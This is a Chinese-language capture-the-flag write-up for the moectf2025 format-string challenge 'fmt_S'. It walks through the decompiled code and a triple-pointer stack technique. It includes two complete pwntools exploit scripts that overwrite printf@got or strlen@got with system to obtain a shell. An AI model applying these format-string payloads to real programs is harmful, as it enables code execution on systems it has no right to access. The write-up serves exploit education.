由于格式化字符串不在栈上,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。那么就要想办法将想改写的地址指针放到栈上
%x$n 写地址时是将此处数据作为指针,改写的是该指针指向的内容
假设A的偏移为x,%x$n会将B作为指针,改写其指向的内容C
如果我们想修改printf的got表,首先需要如下结构
| D–> |
printf@got |
printf真实地址 |
栈上没有这种结构,我们找相似地址然后修改低字节从而向栈上写入got

printf_got地址为0x404028

这个就很像
(这个图和其他图不是在同一次运行)
利用这个三连指针结构,将
修改低二字节成为上面的

修改完毕后如上 ,出现了
,可以修改0x40136f低二字节使其成为printf@got


出现了D–>printf@got–>printf真实地址 的结构,修改printf真实地址的低四字节使其成为system真实地址
例题moectf2025_fmt_S
上面的讲解就是以这个题为例的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
puts("You're walking down the road when a monster appear.");
for ( i = 1; i <= 3 && !flag; ++i )
talk();
if ( (unsigned __int64)atk <= 0337522 )
puts("You've been eaten by the monster.");
else
he();
return 0;
}
|
1
2
3
4
5
6
7
8
9
10
|
size_t talk()
{
puts("You start talking to him...");
*(_DWORD *)&flag ^= 1u;
read(0, fmt, 0x20uLL);
printf(fmt);
puts("?");
puts("You enraged the monster-prepare for battle!");
return my_read(&atk, 8uLL);
}
|
1
2
3
4
5
|
size_t __fastcall my_read(_BYTE *a1, size_t a2)
{
a1[read(0, a1, a2)] = 0;
return strlen(a1);
}
|
1
2
3
4
5
6
7
8
9
10
11
|
unsigned __int64 he()
{
char command[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
qmemcpy(command, "a_flag", sizeof(command));
puts("The monster is defeated, and you obtain: flag?");
system(command);
return v2 - __readfsqword(0x28u);
}
|
exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
from pwn import *
context(log_level="debug",arch="amd64")
p=process('./pwn')
#p=remote('node5.anna.nssctf.cn',26001)
#p=remote('192.168.40.1',51743)
#gdb.attach(p,'b *0x4011D6')
#gdb.attach(p)
#p=remote('113.45.176.209',9998)
#p=remote('1.95.36.136',2102)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
printf_got=0x404028
p.recvuntil(b'You start talking to him...')
p.sendline(b'%8$paaaa%13$p')
p.recvuntil(b'0x')
stack = int(p.recv(12), 16)
p.recvuntil(b'aaaa0x')
libcbase = int(p.recv(12), 16)- 0x29d90
system=libcbase+libc.sym['system']
print(hex(stack))
print(hex(libcbase))
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
#change i
stack1 = stack - 0x4
a = stack1 & 0xffff
payload = b'%' + str(a).encode() + b'c%6$hn'
p.sendline(payload)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
p.recvuntil("You start talking to him...")
p.sendline(b'%47$hn')
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
stack2=stack+0x18
b=stack2 & 0xffff
pay2=b'%'+str(b).encode()+b'c%34$hn'
p.sendline(pay2)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
#change i
stack1 = stack - 0x4
a = stack1 & 0xffff
payload = b'%' + str(a).encode() + b'c%6$hn'
p.sendline(payload)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
p.recvuntil(b'You start talking to him...')
p.sendline(b'%47$hn')
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
c = printf_got & 0xffff
pay3=b'%'+str(c).encode()+b'c%49$hn'
gdb.attach(p)
p.sendline(pay3)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
d = system & 0xffffffff
pay4 = b'%' + str(d).encode() + b'c%15$n'
p.sendline(pay4)
p.sendlineafter("You enraged the monster-prepare for battle!", b'a' * 7)
p.sendline(b'sh')
print("elf.got['printf'] =", hex(elf.got["printf"]))
p.interactive()
|
由于循环次数不够 所以每执行一次操作需要修改i为0重置循环次数
不知道为什么flag=1了还能循环
还有一个方法 exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
from pwn import *
p=process('./pwn')
context(log_level='debug',arch='amd64')
p.recvuntil('You start talking to him...')
strlen_got=0x404008
p.sendline(b'%4210696c%6$lln')
p.recvuntil(b'You enraged the monster-prepare for battle!')
p.send(b'a'*8)
p.recvuntil('You start talking to him...')
sys_plt=0x4010e0
p.sendline(b'%4198624c%47$lln')
p.recvuntil(b'You enraged the monster-prepare for battle!')
p.send(b'/bin/sh\x00')
p.interactive()
|
利用三连指针把strlen_got写入栈中,然后修改strlen@got中内容为system的plt表